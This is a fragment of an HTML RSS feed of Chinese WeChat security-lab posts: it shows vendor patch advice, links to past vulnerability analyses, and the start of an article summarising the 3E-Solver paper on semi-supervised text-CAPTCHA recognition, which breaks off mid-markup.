34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;visibility: visible;">1.2023-04-18 厂商已提供漏洞修补方案，请访问厂商官网按照升级说明升级系统的补丁。</span></p><p cid="n17" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;white-space: normal;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;visibility: visible;">2.加入厂商提供的安全保障，厂商会自动检测您系统的安全状况，如果发现系统有漏洞，会及时报告并修复漏洞，保障系统处于安全的状态。</span></p><p cid="n17" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;white-space: normal;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;visibility: visible;"><br/></span></p><section style="outline: 0px;letter-spacing: 0.544px;white-space: normal;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);font-size: 16px;widows: 1;"><section data-mid="" mpa-from-tpl="t" style="outline: 0px;display: flex;justify-content: center;align-items: center;width: 677px;"><section data-mid="" mpa-from-tpl="t" style="outline: 0px;display: flex;justify-content: center;align-items: center;"><section data-mid="" mpa-from-tpl="t" msthidden="1" style="outline: 0px;width: 6px;height: 6px;transform: translateX(14px);"><img class="rich_pages wxw-img" data-ratio="1" data-type="png" data-w="12" style="outline: 0px;display: block;visibility: visible !important;width: 12px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=d6229ea8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FasLg7via5ibAkf1mRkpS4IuZibZE5eeC0t8nibIZBfZEekibOEZVWyf9jHzIVvT2sTzKS1OtZzSBErxJUZXD1AwAAWw%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section><section data-mid="" mpa-from-tpl="t" style="padding-right: 4px;padding-left: 4px;outline: 0px;text-align: center;"><p data-mid="" msthash="2289326" msttexthash="12647050" style="padding-right: 16px;padding-left: 16px;outline: 0px;font-size: 14px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(27, 110, 201);line-height: 20px;border-bottom: 1px solid rgb(27, 110, 201);text-align: left;">往期回顾</p></section><section data-mid="" mpa-from-tpl="t" msthidden="1" style="outline: 0px;width: 6px;height: 6px;transform: translateX(-14px);"><img class="rich_pages wxw-img" data-ratio="1" data-type="png" data-w="12" style="outline: 0px;display: block;visibility: visible !important;width: 12px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=cb9bc775&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FicjDF5uGXY5ibE0P0Mtzns3KNb5hsCIKPfMIRultHDbmzgJcDaibI4wNKM6ZloyGRtRovyXtVdv3SuuVOcmA8gn8A%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section></section></section></section><h1 style="margin-bottom: 14px;outline: 0px;font-size: 22px;line-height: 1.4;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-align: center;white-space: normal;background-color: rgb(255, 255, 255);"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247485124&amp;idx=1&amp;sn=0a849f5ece20ad69b2013edbd0e3717d&amp;chksm=c0ddfcb5f7aa75a3148aca9d76dedfdd12efdee089cd3278a1ceece4dc470f7237a0b94053e9&amp;scene=21#wechat_redirect" textvalue="基于半监督学习的文本验证码识别方法" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2"><span style="font-size: 14px;">基于半监督学习的文本验证码识别方法</span></a></h1><h1 style="margin-bottom: 14px;font-size: 22px;white-space: normal;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;line-height: 1.4;color: rgb(34, 34, 34);text-align: center;background-color: rgb(255, 255, 255);"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247485105&amp;idx=1&amp;sn=4b8d8da5eebe0dfccc7f9801df6cc7a2&amp;chksm=c0ddfcc0f7aa75d6d608b4c0984939a46eb6af70aac8d36c5af20f722c430be304b68ac7de62&amp;scene=21#wechat_redirect" textvalue="Realtek Sdk CVE-2021-35392漏洞分析" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2" hasload="1" style="color: var(--weui-LINK);outline: 0px;cursor: pointer;"><span style="outline: 0px;font-size: 14px;">Realtek Sdk CVE-2021-35392漏洞分析</span></a></h1><h1 style="margin-bottom: 14px;outline: 0px;font-size: 22px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;line-height: 1.4;color: rgb(34, 34, 34);text-align: center;background-color: rgb(255, 255, 255);"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247485086&amp;idx=1&amp;sn=440ac37456efd0056eab04e265a2b3bc&amp;chksm=c0ddfceff7aa75f9ef7b01543a1521d99fc18a7ed81293f393090f2385eee83d1a44e89ffaab&amp;scene=21#wechat_redirect" textvalue="VMware vRealize Log HTTP服务两个漏洞分析" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2" hasload="1" style="outline: 0px;color: var(--weui-LINK);cursor: pointer;"><span style="outline: 0px;font-size: 14px;">VMware vRealize Log HTTP服务两个漏洞分析</span></a></h1><p style="outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);text-align: center;"><br style="outline: 0px;"/></p><section msthidden="1" style="margin-top: 10px;margin-bottom: 10px;outline: 0px;white-space: normal;background-color: rgb(255, 255, 255);font-family: -webkit-standard;font-size: 16px;letter-spacing: 1.5px;widows: 1;color: rgb(11, 121, 255);word-break: break-all;text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.43333333333333335" data-s="300,640" style="outline: 0px;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;display: initial;visibility: visible !important;width: 194px !important;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=9bdadcd1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7lCiaSMMkhia4WIkRNZHTwq8jJicy27jdbWa7ED26252RGmSPRE0rmHQsgZ6ZoichVyFNlvhLelZS09a194B9dyoAQ%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section><section style="margin-top: 10px;margin-bottom: 10px;outline: 0px;white-space: normal;background-color: rgb(255, 255, 255);font-family: -webkit-standard;font-size: 16px;letter-spacing: 1.5px;widows: 1;color: rgb(11, 121, 255);word-break: break-all;text-align: center;"><span msthash="438322" msttexthash="46068516" style="outline: 0px;color: rgb(27, 110, 201);letter-spacing: 2px;">引领智能网络攻防科技</span></section><section msthidden="1" style="margin-top: 10px;margin-bottom: 10px;outline: 0px;white-space: normal;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-family: -webkit-standard;font-size: 16px;letter-spacing: 1.5px;widows: 1;word-break: break-all;text-align: center;"><span msthidden="1" style="outline: 0px;color: rgb(27, 110, 201);"><img class="rich_pages wxw-img __bg_gif" data-copyright="0" data-ratio="0.0734375" style="outline: 0px;display: initial;visibility: visible !important;width: 544px !important;" data-type="gif" data-w="640" src="https://wechat2rss.xlab.app/img-proxy/?k=530afaf0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FCD1iaLIMEhibPv9rc3gdLj3g6fiaAcCZqIicylIMVKlbvd5ic5usJ2oia9cTgavs6BwQpEEYbfglc82kCJ0Qic3OHMEaw%2F640%3Fwx_fmt%3Dgif%26wxfrom%3D5%26wx_lazy%3D1"/></span></section><section data-brushtype="text" style="margin: 15px 1em;outline: 0px;letter-spacing: 0.544px;white-space: normal;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);font-size: 16px;widows: 1;line-height: 1.75em;"><section style="outline: 0px;" class="mp_profile_iframe_wrp"><mp-common-profile data-index="0" data-id="MzU5ODE2NDA3NA==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/7lCiaSMMkhia7dpwexuaibUE3Eb0z03gPLaYB4PHo7G8BE9eAlRk9NoXRfjDMAxXV0OSYSdZS7KPqic8GNUkqxch7g/0?wx_fmt=png" data-nickname="墨云安全" data-alias="moyunsec" data-signature="墨云科技，更智能的网络攻防！" data-origin_num="38" data-is_biz_ban="0" data-isban="0" class="js_wx_tap_highlight" data-from="2" has-insert-preloading="1" data-weui-theme="light" data-biz_account_status="0"></mp-common-profile></section><section msthash="837304" msttexthash="11380889" style="margin-top: 15px;margin-bottom: 10px;outline: 0px;letter-spacing: 0.544px;line-height: 1.75em;text-align: center;"><span style="outline: 0px;color: rgb(136, 136, 136);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;letter-spacing: 1.5px;">点击</span><span style="outline: 0px;letter-spacing: 0.544px;text-align: start;font-family: Optima-Regular, PingFangTC-light;font-size: 15px;color: rgb(99, 121, 161);"><strong style="outline: 0px;">在看</strong></span></section><section style="margin-top: 5px;margin-bottom: 15px;outline: 0px;letter-spacing: 0.544px;line-height: 1.75em;text-align: center;"><span msthash="837305" msttexthash="16926988" style="outline: 0px;color: rgb(136, 136, 136);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;letter-spacing: 1.5px;">分享给小伙伴</span></section><section style="outline: 0px;"><br style="outline: 0px;"/></section><section style="outline: 0px;text-align: left;"><span style="outline: 0px;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;font-size: 14px;color: rgb(136, 136, 136);">↓↓点击</span><span msthash="837306" msttexthash="88348169" style="outline: 0px;font-size: 14px;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;color: rgb(99, 121, 161);"><strong style="outline: 0px;">阅读原文</strong></span><span style="outline: 0px;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;font-size: 14px;color: rgb(136, 136, 136);">，了解更多墨云信息</span></section></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="http://www.vackbot.com">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=16fb74e5&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNzIxMDUyNg%3D%3D%26mid%3D2247485142%26idx%3D1%26sn%3D81612930652625bf3d810b63e2397975%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 25 May 2023 18:00:00 +0800</pubDate>
    </item>
    <item>
      <title>基于半监督学习的文本验证码识别方法</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247485124&amp;idx=1&amp;sn=0a849f5ece20ad69b2013edbd0e3717d</link>
      <description>提高验证码识别技术不仅可以自动地检测网站安全性，也可以从侧面改进安全策略，推动网络安全技术的进步。</description>
      <content:encoded><![CDATA[<p>
原创 <span>阿布</span> <span>2023-04-14 18:00</span> <span style="display: inline-block;">北京</span>
</p>

<p>提高验证码识别技术不仅可以自动地检测网站安全性，也可以从侧面改进安全策略，推动网络安全技术的进步。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=41792992&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplSvTWOqWzn9qt9xz99uZyl4Viby3Ric1Mra6weibN6loUWSW0OrFFJK9krldSfibdTL20RbttMnoIN8eg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="outline: 0px;max-width: 100%;color: rgba(0, 0, 0, 0.9);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-croporisrc="https://mmbiz.qpic.cn/sz_mmbiz_png/0NpbNYDUplSVAeJNFpOlXC5uBg86icOw5lWorq5EHkq0S23icUZq77ney00MjKAUXEicQiaeOzjibibNFgJRyS6jL4Yg/0?wx_fmt=png" data-cropx1="54.21686746987952" data-cropx2="500" data-cropy1="0" data-cropy2="373.49397590361446" data-galleryid="" data-ratio="0.8363228699551569" data-s="300,640" style="outline: 0px;box-sizing: border-box !important;overflow-wrap: break-word !important;width: 74px !important;visibility: visible !important;" data-type="jpeg" data-w="446" src="https://wechat2rss.xlab.app/img-proxy/?k=b0bd8e02&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplQVdTRRJicJ2azEOTmTY3OafecibSXaJYKEr60h31TRUOicdYD6RzewdFzj1fiawg9HD0kgaicibZwQmKaQ%2F640%3Fwx_fmt%3Djpeg%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></p><section style="margin-right: 8px;margin-left: 8px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span msthash="438321" msttexthash="25869584" style="outline: 0px;max-width: 100%;color: rgb(27, 110, 201);font-family: -webkit-standard;widows: 1;font-size: 14px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">VLab-实验室</span></strong></section><p style="outline: 0px;max-width: 100%;color: rgba(0, 0, 0, 0.9);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img __bg_gif" data-ratio="0.1875" data-s="300,640" style="outline: 0px;box-sizing: border-box !important;overflow-wrap: break-word !important;width: 76px !important;visibility: visible !important;" data-type="gifwxfrom=5wx_lazy=1" data-w="128" src="https://wechat2rss.xlab.app/img-proxy/?k=8c660053&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2F2TSketEedQ9mmk8nGa8zUv26iapUUPIczjUGSuap1ZqpQO56wnwGGmwkicPphswx7DG3CgAribFoibGw48d3VoQ17g%2F640%3Fwx_fmt%3Dgif%26wxfrom%3D5%26wx_lazy%3D1"/></p><section style="margin-right: 8px;margin-bottom: 0em;margin-left: 8px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></section><p style="margin-bottom: 16px;outline: 0px;max-width: 100%;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;white-space: normal;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">如今，基于文本的验证码依然是各大网站使用最广泛的安全机制。它通过要求用户在输入框输入随机生成的文本字符串来验证用户身份，从而防止恶意注册、暴力破解以及垃圾邮件等恶意事件发生，帮助网站保护用户数据和网络安全。提高验证码识别技术不仅可以自动地检测网站安全性，也可以从侧面改进安全策略，推动网络安全技术的进步。</span><o:p></o:p></p><p style=""><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">笔者给大家推荐一篇利用半监督学习来识别验证码的论文—<strong>3E-Solver: An Effortless, Easy-to-Update, and End-to-End Solver with
Semi-Supervised Learning for Breaking Text-Based Captchas.</strong></span><strong><span lang="EN-US"><o:p></o:p></span></strong></p><p style="margin-bottom: 16px;outline: 0px;max-width: 100%;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;white-space: normal;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-ratio="0.15375722543352602" data-w="865" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=7f7f15fa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplT5s1Sx7Gt6MycaLGcZJiaKu2ahnZ9w186Kj1MHPWgKSh1EPoTl9icz203ibQ9hg9rgbsibHCghEtOhYg%2F640%3Fwx_fmt%3Dpng"/></span></p><h2 cid="n0" mdtype="heading" style="margin-top: 24px;margin-bottom: 1rem;outline: 0px;font-weight: bold;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;overflow-wrap: break-word !important;"><span msthash="272077" msttexthash="7714590" style="outline: 0px;max-width: 100%;font-size: 17px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">背景</span></h2><p style="margin-bottom: 16px;outline: 0px;max-width: 100%;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;white-space: normal;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">早期基于图像分割的识别方法无法有效处理引入遮挡线条与重叠字符的验证码，同时也会受到字符颜色跟背景差异不统一的影响。近些年，基于深度学习识别验证码的方法虽然效果尚可，但需要精巧的模型设计与大量人工标记的数据集。因此，该论文提出了一种基于FixMatch的半监督模型识别验证码的方法，利用Encoder-Decoder与Attention机制构建端到端的基线模型识别验证码图片。</span></p><h2 cid="n0" mdtype="heading" style="margin-top: 24px;margin-bottom: 1rem;font-weight: bold;text-indent: 0em;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;overflow-wrap: break-word !important;"><span msthash="272077" msttexthash="7714590" style="outline: 0px;max-width: 100%;font-size: 17px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">3E-Solver模型及建模流程</span></h2><section style="text-indent: 0em;white-space: normal;outline: 0px;max-width: 100%;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;margin-bottom: 0px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-ratio="0.4323699421965318" data-w="865" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=8b2e3ed0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplSvTWOqWzn9qt9xz99uZyl4JU0ApHkWCtzRoxnhXUFMlpwX9FOg8WN3MjB70qUs7674icxjviaj1uQg%2F640%3Fwx_fmt%3Dpng"/></span></section><p style="margin-bottom: 16px;text-indent: 0em;white-space: normal;outline: 0px;max-width: 100%;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;visibility: visible;font-size: 12px;box-sizing: border-box !important;overflow-wrap: break-word !important;">图 1 3E-Solver架构和建模流程</span></p><p style="margin-bottom: 16px;text-indent: 0em;white-space: normal;outline: 0px;max-width: 100%;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">整个框架流程如上图所示，首先设计一个端到端的基线模型（AED-Net），利用编码器-解码器与注意力机制去识别验证码图片。最后，利用改进过后的FixMatch算法及少量带标签样本、大量无标签样本一同训练。</span></p><h2 cid="n0" mdtype="heading" style="margin-top: 24px;margin-bottom: 1rem;font-weight: bold;text-indent: 0em;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;overflow-wrap: break-word !important;"><span msthash="272077" msttexthash="7714590" style="outline: 0px;max-width: 100%;font-size: 17px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">AED-Net模型结构</span></h2><p style="text-align: center;text-indent: 0em;margin-bottom: 0px;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5505415162454874" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=ca499b49&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplSvTWOqWzn9qt9xz99uZyl4rVh3STibdzaeY2VhZpQ7DtBbft1qWq6Iichoia8ic6dZLQSQicyFsJvSaqA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 